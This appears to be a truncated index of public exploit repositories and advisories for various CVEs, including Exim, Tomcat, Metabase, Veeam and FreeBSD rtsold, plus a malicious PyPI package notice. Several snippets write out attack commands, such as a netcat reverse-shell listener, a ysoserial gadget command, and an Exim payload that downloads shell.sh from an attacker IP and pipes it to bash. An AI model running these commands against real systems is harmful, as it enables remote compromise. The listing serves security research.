CVE-2026-41900-POC

OpenLearnX-RCE OpenLearnX Unauthenticated RCE via Container Volume Mount Diff-based discovery → Silent patch → Sandbox escape → Full /tmp disclosure Property| Value ---|--- Name| OpenLearnX-RCE CVE| CVE-2026-41900 GHSA| GHSA-8h25-q488-4hxw Type| Unauthenticated Info Disclosure / RCE Affected|...

CVE-2025-14558

CVE-2025-14558 FreeBSD rtsold DNSSL Command Injection RCE Description rtsold8 does not validate DNSSL domain names for shell metacharacters before passing them to resolvconf8. Command substitution via $ enables remote code execution from an adjacent network. Affected: FreeBSD 13.x, 14.x, 15.x...

CVE-2023-38646

CVE-2023-38646 A python RCE exploit for CVE-2023-38646 Usage Start a Listner nc -lvnp Run the exploit python3 CVE-2023-38646.py -u -l -p Help python3 CVE-2023-38646.py -h usage: CVE-2023-38646.py -h -u URL -l LHOST -p LPORT optional arguments: -h, --help show this help message and exit -u URL,...

CVE-2024-40711-Exp

Usages .\ysoserial.exe -f BinaryFormatter -g Veeam -c localhostServer -vi targetIP -vp 6170 -vg DataSet -vc "cmd /c mspaint.exe" Usage: ysoserial.exe options Options: --vi, --targetveeamip=VALUE The target Veeam Backup and reaplication IP address --vp, --targetveeamport=VALUE The target Veeam...

CVE-2024-23346-exploit

CVE-2024-23346-exploit This is a exploit for the known Remote Code Execution RCE vulnerability in the pymatgen CVE-2024-23346 Python library by uploading a malicious CIF file to the hosted CIF Analyzer website on the Chemistry machine from Hack the Box. NVD CVE LINK :...

Malicious code in is-it-ai (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: kam193 6a8580750a7d490d65866e9407c451efa8dbad9a90c35a54b87416c57eef1fea In this campaign, specific versions of involved affected packages hide malicious actions. The malicious code is hidden in specific versions of a dependency...

CVE-2016-5734-docker

CVE-2016-5734-docker PhpMyAdmin 4.0.x—4.6.2 Remote Code Execution Vulnerability CVE-2016-5734 Setup git clone https://github.com/miko550/CVE-2016-5734-docker.git cd CVE-2016-5734-docker docker compose up hhtp://localhost:8083 exploit python3 cve-2016-5734.py -u root --pwd="root"...

CVE-2019-14224

CVE-2019-14224: Authenticated Remote Code Execution in Alfresco Community By leveraging multiple components in the Alfresco Software applications, an exploit chain was observed that allows an attacker to achieve remote code execution. The attacker must use Alfresco to: Upload malicious Solr...

cgiemail-exploit

Cgiemail - Source Code Disclosure/Local File Inclusion Exploit cgiecho a script included with cgiemail will return any file under a websites document root if the file contains square brackets and the text within the brackets is guessable. cgiemail is currently shipped with cPanel, enabled by...

CVE-2022-21907

CVE-2022-21907 - HTTP Protocol Stack Remote Code Execution Vulnerability ⚠️ For educational and authorized security research purposes only Original Exploit Authors Very grateful to the original PoC author NU11SECURITY and michelep Description: HTTP Protocol Stack Remote Code Execution...

CVE-2021-40222

CVE-2021-40222 Application : Rittal CMC PU III Web management Devices : CMC PU III 7030.000 Software Revision : V3.11.002 Hardware Revision : V3.00 Attack type : Remote Code Execution Solution : Update to Software Revision V3.17.10 or later Summary : Web application fails to sanitize user input o...

spring-cloud-function-rce

Spring Cloud Function SPEL Expression Injection Vulnerability CVE-2022-22963 Spring framework provides a comprehensive programming and configuration model for modern Java-based enterprise applications on any type of deployment platform. The serverless framework in Spring Cloud, the RoutingFunctio...

Cable-modems

Analysis of WiFi-enabled ISP modems Overview SEARCH-LAB Ltd evaluated five home gateway models, all of them are used by many internet service providers worldwide, but the actual devices have been operated by one of the Hungarian Cable TV operators, UPC Magyarország https://www.upc.hu/. The analys...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 PoC for exploitation of vulnerability CVE-2019-10149 Usage example python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

POC-CVE-2025-24813

CVE-2025-24813 Apache Tomcat RCE PoC Proof of Concept PoC exploiting CVE-2025-24813, a Remote Code Execution RCE vulnerability in Apache Tomcat. The vulnerability allows an attacker to upload a malicious serialized payload to the server, leading to arbitrary code execution via deserialization whe...

RTSPServer-Code-Execution-Vulnerability

Live Networks LIVE555 streaming media RTSPServer lookForHeader code execution vulnerability CVE-2018-4013 Summary An exploitable code execution vulnerability exists in the HTTP packet-parsing functionality of the LIVE555 RTSP server library. A specially crafted packet can cause a stack-based buff...

CVE-2022-41678

Apache ActiveMQ CVE-2022-41678 Exploit Tool Vulnerability Overview Reference document: https://app.nextcyber.cn/courses/41/tasks/580 CVE-2022-41678 is a remote code execution vulnerability in Apache ActiveMQ. This vulnerability allows an attacker to modify Log4j configuration or JFR Java Flight...

CVE-2023-36845-Juniper-Vulnerability

CVE-2023-36845 This script provides an automated Proof of Concept PoC for CVE-2023-36845, a vulnerability affecting Juniper Networks Junos OS on EX and SRX Series devices. It exploits the J-Web component, allowing remote modification of the PHPRC variable and potential code injection. Affected...

CVE-2026-42167-PoC

CVE reported by ZeroPath Research original writeup: https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce my version : https://jimmexploit.vercel.app/cve/proftpd-unauthenticated-sql-injection-leads-to-rce Description This repository contains a functional exploit for...

Apache-Tomcat---Remote-Code-Execution-via-Session-Deserialization-CVE-2025-24813-

Apache-Tomcat---Remote-Code-Execution-via-Session-Deserialization-CVE-2025-24813- Apache Tomcat - Remote Code Execution via Session Deserialization CVE-2025-24813...